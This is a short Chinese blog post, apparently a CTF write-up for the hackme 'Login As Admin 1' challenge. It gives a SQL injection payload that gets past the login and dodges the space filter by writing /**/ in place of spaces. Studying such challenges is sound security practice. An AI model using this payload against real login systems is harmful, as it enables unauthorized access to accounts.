1. 程式人生 > >hackme_Login As Admin 1

hackme_Login As Admin 1

我一開始發現自己的注意力完全搞錯了,

以為是可以以HTTP頭為注入點,後來發現自己完全想多了、、、

 

其實這題難度不大,只要注意繞過空格的過濾(/**/)即可,

具體原理見筆者另一篇隨筆https://www.cnblogs.com/huangming-zzz/p/9818486.html中的“限制查詢注入”

本題payload如下:

  user:\'/**/or/**/1/**/limit/**/1,1#

  password:admin